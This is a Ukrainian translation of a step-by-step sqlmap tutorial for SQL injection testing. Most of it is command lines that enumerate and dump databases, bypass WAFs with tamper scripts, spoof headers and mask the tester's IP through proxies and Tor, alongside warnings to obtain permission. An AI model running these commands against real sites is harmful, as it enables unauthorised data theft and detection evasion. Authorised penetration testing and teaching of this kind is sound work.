1. Підготовка
- Зрозумійте ціль:
- Визначте URL або параметр, який, ймовірно, є вразливим до SQL-ін'єкцій.
- Переконайтесь, що у вас є дозвіл на тестування цілі.
- Встановіть SQLmap:
- Встановіть через Python:
pip install sqlmap
або завантажте з sqlmap.org.
- Встановіть через Python:
- Зберіть необхідну інформацію:
- Знайте тип бази даних (MySQL, MSSQL, PostgreSQL тощо) та її поведінку.
2. Основне використання
Запустіть наступну команду у вашому терміналі:
sqlmap -u "http://example.com/page?param=value"
- Замініть
http://example.com/page?param=value
на ваш цільовий URL.
3. Розширене сканування
- Визначте тип та версію бази даних:
sqlmap -u "http://example.com/page?param=value" --banner
- Перевірте на вразливості бази даних:
sqlmap -u "http://example.com/page?param=value" --dbs
- Це покаже всі бази даних, доступні на цільовій системі.
- Вивантажте таблиці бази даних:
sqlmap -u "http://example.com/page?param=value" -D database_name --tables
- Вивантажте дані з конкретної таблиці:
sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump
4. Тонка настройка для кращих результатів
- Визначте параметри:
- Використовуйте параметри
--level
та--risk
для налаштування інтенсивності:
- Використовуйте параметри
sqlmap -u "http://example.com/page?param=value" --level=5 --risk=3
- Перевірте специфічні HTTP-методи:
sqlmap -u "http://example.com/page?param=value" --method=POST
- Оминання WAF/Фільтрів:
- Використовуйте скрипти для маніпуляцій:
sqlmap -u "http://example.com/page?param=value" --tamper=charencode
5. Автоматизація та логування
- Збережіть результати у файл:
sqlmap -u "http://example.com/page?param=value" --batch --output-dir=results/
- Автоматизуйте за допомогою режиму партії:
sqlmap -u "http://example.com/page?param=value" --batch
6. Етичні міркування
- Завжди отримуйте явний дозвіл перед тестуванням вебсайту.
- Використовуйте SQLmap відповідально для тестування на проникнення або навчання, а не для зловмисних цілей.
7. Використання скриптів для маніпуляцій
SQLmap включає скрипти для маніпуляцій, які змінюють payload для уникнення виявлення WAF.
- Перегляньте доступні скрипти для маніпуляцій:
sqlmap --list-tampers
- Типові скрипти для маніпуляцій:
space2comment
: Заміняє пробіли на коментарі (/**/
).charencode
: Кодує payload як шістнадцяткові або Unicode символи.base64encode
: Кодує payload у форматі Base64.randomcase
: Рандомізує регістр символів у payload.
- Приклад використання:
sqlmap -u "http://example.com/page?param=value" --tamper=space2comment,charencode
8. Кодування запитів
Кодування може допомогти уникнути базових фільтраційних механізмів.
- URL-кодування:
sqlmap -u "http://example.com/page?param=value" --tamper=percentencode
- Шістнадцяткове кодування:
sqlmap -u "http://example.com/page?param=value" --tamper=charencode
9. Зміна User-Agent або заголовків
Деякі WAF можуть помічати запити на основі заголовків або рядків User-Agent.
- Встановіть власний User-Agent:
sqlmap -u "http://example.com/page?param=value" --user-agent="Mozilla/5.0"
- Додайте/Змініть заголовки:
sqlmap -u "http://example.com/page?param=value" --headers="X-Forwarded-For: 127.0.0.1"
10. Використання POST-запитів
Якщо параметри GET заблоковані або сильно фільтруються, спробуйте протестувати параметри POST.
- Приклад методу POST:
sqlmap -u "http://example.com/page" --data="param=value" --method=POST
11. Рандомізація параметрів та затримки
Уникайте виявлення з боку WAF, які моніторять повторювані патерни або високу частоту запитів.
- Рандомізуйте порядок параметрів:
sqlmap -u "http://example.com/page?param=value" --randomize=param
- Додайте затримки між запитами:
sqlmap -u "http://example.com/page?param=value" --delay=5
12.
12. Використовуйте Проксі та VPN
- Направляйте свої запити через проксі, щоб приховати свою IP-адресу або протестувати ефект різних діапазонів IP-адрес.
sqlmap -u "http://example.com/page?param=value" --proxy=http://127.0.0.1:8080
- Використовуйте Tor для анонімності:
sqlmap -u "http://example.com/page?param=value" --tor --tor-type=SOCKS5 --check-tor
13. Створення користувацьких Payload
Деякі WAF дозволяють певні шаблони payload пройти через фільтри.
- Впровадьте Null байти:
sqlmap -u "http://example.com/page?param=value" --tamper=nullbyte
- Додайте варіації пробілів:
sqlmap -u "http://example.com/page?param=value" --tamper=space2hash
14. Фінгерпринтинг WAF
Визначте WAF для налаштування підходу:
- Використовуйте інструмент для фінгерпринтингу WAF, наприклад WAFW00F:
wafw00f http://example.com
Після того, як WAF буде визначено, досліджуйте специфічні техніки обходу для цього WAF.
15. Цільове використання помилок для експлуатації
Деякі WAF не можуть ефективно блокувати техніки SQL-ін'єкцій на основі помилок.
- Примусьте виведення помилок:
sqlmap -u "http://example.com/page?param=value" --technique=E
16. Використання сліпих SQL-ін'єкцій
Якщо WAF блокує помилки, спробуйте часові сліпі SQL-ін'єкції.
- Часова ін'єкція:
sqlmap -u "http://example.com/page?param=value" --technique=T
- Комбінуйте з скриптами для маніпуляцій:
sqlmap -u "http://example.com/page?param=value" --technique=T --tamper=space2comment
17. Уникнення виявлення за допомогою тонких Payload
- Часткові тести: Тестуйте окремі символи або менші запити:
sqlmap -u "http://example.com/page?param=1'" --batch
- Техніки на основі логічних операторів:
sqlmap -u "http://example.com/page?param=1" --technique=B
18. Перелічення бази даних без виявлення
- Визначте схему бази даних:
sqlmap -u "http://example.com/page?param=value" --dbs
- Витягніть конкретні дані:
sqlmap -u "http://example.com/page?param=value" -D database_name -T table_name --dump
19. Використання поєднаних технік
Комбінуйте техніки для кращих результатів:
sqlmap -u "http://example.com/page?param=value" --technique=BEUSTQ --tamper=space2comment,randomcase --delay=5
Етичні застереження
- Завжди отримуйте явний дозвіл перед тестуванням будь-якого вебсайту.
- SQLmap — це інструмент для тестування на проникнення та навчання, а не для зловмисних дій.
Найкращі практики
- Починайте з низьких рівнів ризику та поступово збільшуйте їх.
- Використовуйте скрипти для маніпуляцій, щоб обходити WAF, якщо є механізми виявлення.
- Поєднуйте ручний аналіз з результатами SQLmap для перевірки знайдених вразливостей.
- Регулярно оновлюйте SQLmap, щоб забезпечити сумісність з останніми заходами безпеки.
Перекладено з: Use SQL-Map at its best.